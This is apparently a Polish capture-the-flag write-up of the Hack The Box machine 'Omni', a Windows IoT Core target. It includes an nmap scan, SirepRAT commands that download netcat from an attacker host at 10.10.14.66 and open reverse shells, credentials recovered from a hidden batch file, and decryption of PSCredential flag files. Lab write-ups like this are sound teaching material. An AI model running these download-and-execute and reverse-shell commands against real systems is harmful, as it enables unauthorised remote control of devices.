Nmap
nmap -sC -sV -p- -T4 -Pn 10.10.10.204
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
5985/tcp open upnp syn-ack ttl 127 Microsoft IIS httpd
8080/tcp open upnp syn-ack ttl 127 Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open unknown syn-ack ttl 127
29819/tcp open arcserve syn-ack ttl 127 ARCserve Discovery
29820/tcp open unknown syn-ack ttl 127
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.80%I=7%D=8/24%Time=5F438FF0%P=x86_64-pc-linux-gnu%r(N
SF:ULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"
SF:\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x0
SF:4G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\x
SF:c9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
User
Po skanowaniu widać, że mamy doczynienia z Windows’em.
Wchodząc na serwer HTTP na porcie 8080 dostajemy prośbę o login i hasło z informacją, że jest to “Windows Device Portal”.
Po odrobinie googlowania możemy się dowiedzieć, że mamy doczynienia z instalacją Windows IoT. Standardowo na tej wersji systemu są otwarte wysokie porty 29817-29820 do komunikacji.
Następnie znajdujemy projekt na GitHub z narzędziem wykorzystującym komunikację z tymi portami
Za pomocą SirepRAT wrzucamy netcat’a na serwer i robimy reverse shell’a
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.66:9090/nc64.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.66 9091 -e powershell.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
PS C:\windows\system32> $env:username
omni$
Niestety ten user nie ma za dużo przywilejów więc trzeba enumerować box’a
Jedynym katalogiem w Program Files jest WindowsPowerShell. Po przeszukaniu tego katalogu okazuje się, że znajduje się tam ukryty plik .bat
PS C:\program files\windowspowershell\modules\Packagemanagement> ls -force
Directory: C:\program files\windowspowershell\modules\Packagemanagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/26/2018 11:37 PM 1.0.0.1
-a-h-- 8/21/2020 12:56 PM 247 r.bat
W pliku są credentiale pasujące do web serwera.
app : mesh5143
Po zalogowaniu znajdujemy przydatne informacje:
– Windows 10 IoT Core test image, v.10.0.17763.107
– VMware7,1
Po przejrzeniu panelu znajdujemy opcję wykonywania komend.
Processes -> Run Command
Więc ponownie próbujemy zrobić Reverse Shell’a wcześniej uploadowanym netcat’em.
C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.66 9092 -e powershell.exe
C:\windows\system32> $env:username
app
W “C:\Users” nie ma żadnego użytkownika więc sprawdzamy czy są inne dyski
PS C:\> wmic logicaldisk get caption
Caption = C:
Caption = D:
Caption = U:
Do dysku “D” nie możemy się dostać, ale na dysku “U” mamy podmontowany system plików
PS U:\> ls
Directory: U:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/26/2018 11:37 PM CrashDump
d----- 10/26/2018 11:37 PM Logfiles
d----- 10/26/2018 11:37 PM Programs
d----- 7/3/2020 11:22 PM SharedData
d----- 7/3/2020 11:22 PM SystemData
d----- 10/26/2018 11:38 PM test
d----- 7/4/2020 7:28 PM Users
d----- 10/26/2018 11:38 PM Windows
-a---- 7/4/2020 12:22 AM 0 FirstBoot.Complete
Flaga jest zaszyfrowana.
PS U:\Users\app> type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
</Props>
</Obj>
</Objs>
Po strukturze pliku widzimy, że jest to XML. Po krótkim szukaniu znajdujemy rozwiązanie.
$flaga = Import-CliXml -Path U:\Users\app\user.txt
$flaga.GetNetworkCredential().Password
7cfd50f6bc3***f1505ad9d70
Administrator
Administrator jest banalny, ponieważ logujemy się do panelu www danymi, które znaleźliśmy w pliku r.bat.
administrator : _1nt3rn37ofTh1nGz
I ponownie robimy Reverse Shell’a w ten sam sposób.
PS U:\users\administrator> type root.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
</Props>
</Obj>
</Objs>
$flaga = Import-CliXml -Path U:\Users\administrator\root.txt
$flaga.GetNetworkCredential().Password
5dbdce5569****17c0ce6e9bf11d